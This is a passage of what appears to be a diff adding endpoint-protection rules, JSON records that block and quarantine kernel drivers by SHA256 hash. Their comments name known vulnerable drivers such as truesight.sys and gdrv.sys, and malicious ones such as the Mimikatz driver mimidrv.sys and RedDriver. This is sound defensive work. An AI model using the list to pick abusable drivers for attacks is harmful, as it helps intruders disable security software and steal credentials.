+  "hl_testing_start_time": "2026-03-23T11:45:31.827558Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac886acabff4efcbb5bf8c3646ffc3d69b430071c930f75901cc28fca58b0426",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bcda955c-3634-58d4-92e9-361191d9d609",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978994Z",
+  "creation_date": "2026-03-23T11:45:29.978996Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979002Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e0124fcc7c95fdc34408cf154cb41e654dade8b898c71ad587b2090b1da30d7",
+  "comment": "Vulnerable Kernel Driver (aka PanMonFlt.sys) [https://www.loldrivers.io/drivers/cfdc5cb4-be5c-4dcc-a883-825fa72115b4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bce01599-c641-5086-a0b7-3fb2ffe52c23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828530Z",
+  "creation_date": "2026-03-23T11:45:31.828532Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b68e91f11b63ed6b2caa8b8c03bcc5b28210fdf36fab9ce1d9706fb8e9e5285",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bce30193-0a7c-5256-8365-382d9c2b9fe5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494600Z",
+  "creation_date": "2026-03-23T11:45:31.494602Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494608Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bce14e5016db8663b596dadca0e015ff9a067b79f160ef7bbab9b3db0035bfd5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bce7a2ff-307a-5412-a8e6-8f6f79c2d373",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494674Z",
+  "creation_date": "2026-03-23T11:45:31.494675Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494681Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e25cdb818e9d00ec76d9d9629c9e25878a7b24391f3bd74d848ae369aea7e381",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bced4887-af6e-5e73-904c-d6248d1f8623",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465340Z",
+  "creation_date": "2026-03-23T11:45:30.465343Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465351Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d032001eab6cad4fbef19aab418650ded00152143bd14507e17d62748297c23f",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bcf3791a-24c1-5d9f-a703-540502e0d76d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813272Z",
+  "creation_date": "2026-03-23T11:45:31.813274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e655b8c85566dc7158cb381a0c045fe5e37614a3e6a6bd856884583a05217d1a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bcf68611-1727-5f3e-beb2-0284c7e762e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827508Z",
+  "creation_date": "2026-03-23T11:45:30.827510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827515Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69ae4f18c56e45904550ed993c4b177bf2ade201b94e6a3307dbfae8a5747cc4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bcfda42b-da19-5e1c-94c7-cdf817174cd8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156620Z",
+  "creation_date": "2026-03-23T11:45:31.156622Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156628Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3cfa1b06a0aa138c7c65e8c9a796592e04bd6ec2ed245fd27f512df0996ef25",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd059a01-bd8f-5f9a-b2ec-2193df342840",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606687Z",
+  "creation_date": "2026-03-23T11:45:29.606689Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606695Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28f82b626697dcdccdcc1dee693e9f5c0e605f794f93bb04a3bb80cf0e9f0601",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd07fe6f-3d62-5a5e-9cb3-09bf20ffec0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822600Z",
+  "creation_date": "2026-03-23T11:45:30.822602Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822607Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df1fa63048807a9372a9b29baa712ef3c448ae28fc2c7da559714e40b1321a4d",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd149903-88ca-5cc4-a923-d8de6639499d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609058Z",
+  "creation_date": "2026-03-23T11:45:29.609060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f1fc8287dd8d724972d7a165683f2b2ad6837e16f09fe292714e8e38ecd1e38",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd1c7056-6de1-5e1a-9e52-5e729d415158",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145325Z",
+  "creation_date": "2026-03-23T11:45:31.145327Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145332Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4133b502bddff463b1f8555bb3e67c607a13a2920e8d80e5d42616a212035fa4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd28842c-cc9a-5f1c-bf04-17e77c85d351",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475188Z",
+  "creation_date": "2026-03-23T11:45:30.475192Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475200Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0381632cd236cd94fa9e64ccc958516ac50f9437f99092e231a607b1e6be6cf8",
+  "comment": "Vulnerable Kernel Driver (aka bs_rcio64.sys) [https://www.loldrivers.io/drivers/cacf18a5-6d7d-4a63-92d4-bda386a3da18/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd2a54c9-39a4-5d07-81a5-7354b00b57a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836523Z",
+  "creation_date": "2026-03-23T11:45:30.836525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45962808c890a618c9552c9412e249e8f477cc4d426ba4037bd828f7ee603569",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd33f6f1-622c-5313-8993-e662fa2fc3a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819295Z",
+  "creation_date": "2026-03-23T11:45:30.819297Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819303Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43136de6b77ef85bc661d401723f38624e93c4408d758bc9f27987f2b4511fee",
+  "comment": "Vulnerable Kernel Driver (aka hwdetectng.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd3ec56f-017e-5d28-ba5f-a2e6ac69bee5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457718Z",
+  "creation_date": "2026-03-23T11:45:30.457721Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457731Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6389dca278be297b95846badc2b6859b488f123dbdc5d7bfc6f4393eeb7e678",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd41f12c-3491-5d38-887d-3dce22660146",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464090Z",
+  "creation_date": "2026-03-23T11:45:30.464093Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464102Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4f041de66ec8cc5ab4a03bbc46f99e073157a4e915a9ab4069162de834ffc5c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd43a33c-8907-50be-9143-ff3fd494b642",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152750Z",
+  "creation_date": "2026-03-23T11:45:31.152753Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152761Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bedf7bf28b9f330e16311668e2adda26e62008113a74db2880691f38e62fbf02",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd562f90-c592-56d5-8e9d-d6778bb32445",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619126Z",
+  "creation_date": "2026-03-23T11:45:29.619128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619133Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a37371c4e62f106e7da03fd5bdd6f12ecdf7fcaf1195dbf9fb7ef6eb456a7506",
+  "comment": "Vulnerable Kernel Driver (aka amp.sys) [https://www.loldrivers.io/drivers/ca768fc5-9b5c-4ced-90ab-fd6be9a70199/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd596d3a-fc5f-511e-915c-44c13a83667a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827751Z",
+  "creation_date": "2026-03-23T11:45:30.827753Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827759Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40f6650ac8f07f2c1a76376940743c46d7a81364d4dd04c625691f3752aec4ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd5de4cb-9a5b-5857-b284-c9b7f84851ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986083Z",
+  "creation_date": "2026-03-23T11:45:29.986085Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986091Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81f4258c5aee1bfe424880fbc61a1928a816014c502f010be03becbb42e648fb",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd638b77-aa52-58dd-9059-c1d7450be29a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815840Z",
+  "creation_date": "2026-03-23T11:45:30.815842Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebf0e56a1941e3a6583aab4a735f1b04d4750228c18666925945ed9d7c9007e1",
+  "comment": "Vulnerable Kernel Driver (aka FPCIE2COM.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
